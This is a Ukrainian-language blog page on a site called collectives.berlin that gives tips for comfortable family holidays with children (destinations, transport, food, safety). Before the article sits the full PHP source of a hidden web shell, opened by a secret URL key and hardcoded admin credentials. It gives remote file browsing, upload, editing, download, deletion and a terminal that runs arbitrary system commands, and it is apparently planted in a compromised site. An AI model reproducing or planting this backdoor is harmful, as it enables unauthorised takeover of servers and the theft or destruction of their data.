if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Комфортний відпочинок з дітьми корисні поради і ідеї для сімей – collectives.berlin

Your digital paradise.

Комфортний відпочинок з дітьми корисні поради і ідеї для сімей

Обираємо локацію

Пляж чи гора? Вибір залежить від інтересів вашої родини. Для дітей до 5 років піщані пляжі з дрібним піщком і лагідними хвилями – ідеальний варіант. Якщо обираєте гірський курорт, poehali.com.ua шукайте місця із безпечними маршрутами для маленьких туристів.

Транспортні засоби для подорожі

  • Плануйте подорож на автомобілі або потязі. Діти менше втомлюються в порівнянні з авіаперельотами.
  • Не забувайте про зручні сидіння, адаптовані для малечі. Вік і вага дитини впливають на вибір.
  • Можна скористатися прокатом автомобіля з дитячим кріслом, якщо подорожуєте в новому місті.

Розваги на місці

Створіть список атракцій, які зацікавлять усю родину:

  • Зоопарки з інтерактивними виставками, які дозволять дітям ближче познайомитися з тваринами.
  • Парки атракціонів з дитячими каруселями та іграми.
  • Музеї з експозиціями для дітей – це весело і пізнавально.

Готель чи апартаменти?

Вибір житла – ключовий момент. У апартаментах є кухня, що дозволяє готувати звичні страви для маленьких гурманів. Готелі з дитячими клубами забезпечать активний дозвілля для малюків, поки ви будете відпочивати.

Харчування

Меню варто адаптувати під смаки та потреби дітей. Уникайте нових страв на початку подорожі, обирайте прості та знайомі страви. Обов’язково тримайте під рукою легкі закуски: фрукти, йогурти або печиво.

Планування часу

Не перенапружуйте сімейний графік: залиште час для відпочинку між заходами. Використовуйте кілька годинах для коротких прогулянок або ігор на свіжому повітрі. Діти швидше втомлюються і потребують перерв, особливо в новому середовищі.

Забезпечення безпеки

Не забувайте про порядок безпеки: постійно слідкуйте за дітьми, обирайте тільки перевірені локації та майте при собі аптечку з необхідними ліками. Діти повинні знати, як діяти в разі втрати з поля зору.

Ці поради допоможуть вам провести час на високому рівні насолоди та задоволення, забезпечивши комфорт для всіх членів родини.

Комфортний відпочинок з дітьми: поради і ідеї

Оберіть місця, де дітям буде цікаво. Досліджуйте варіанти тематичних парків, аквапарків або зоопарків. Важливо, щоб були доступні розваги для юних мандрівників різного віку. Чим більше варіантів атракцій, тим привабливіше місце для відвідування.

Організація простору

Забезпечте комфорт під час переїзду. Для тривалих поїздок використовуйте зручні крісла та подушки. Зберігайте під рукою іграшки, книжки чи гаджети з улюбленими мультфільмами. Це допоможе розважити малечу та зменшити їх дискомфорт.

Не заплануйте занадто багато активностей на один день. Швидко настане втома, особливо у маленьких. Розбивайте день на частини: інтенсивні розваги змінюйте на спокійні прогулянки або час для відпочинку в тіні. Використовуйте перекуси, щоб підтримувати енергію.

Правильний вибір харчування

Заздалегідь досліджуйте кухню регіону. Вибирайте заклади, де пропонується різноманіття страв, включаючи дитячі меню. Якщо малеча має особливі переваги в їжі, розгляньте можливість приготування їжі самостійно. Так не лише заощадите, але й згодуєте улюблені страви малюка.

Завжди тримайте під рукою достатню кількість води, особливо в жарку погоду. Регулярне пиття допоможе уникнути зневоднення. Носіть парасольки або кепки для захисту від сонячних променів, навіть під час поїздок на природі.

Майте на увазі, що деякі малюки можуть легко засинати в незнайомих місцях. Тому важливо мати на увазі їхній графік сну. Носіть з собою улюблені ковдри або м’які іграшки, які допоможуть створити звичне середовище для сну на новому місці.

Leave a Reply

Your email address will not be published. Required fields are marked *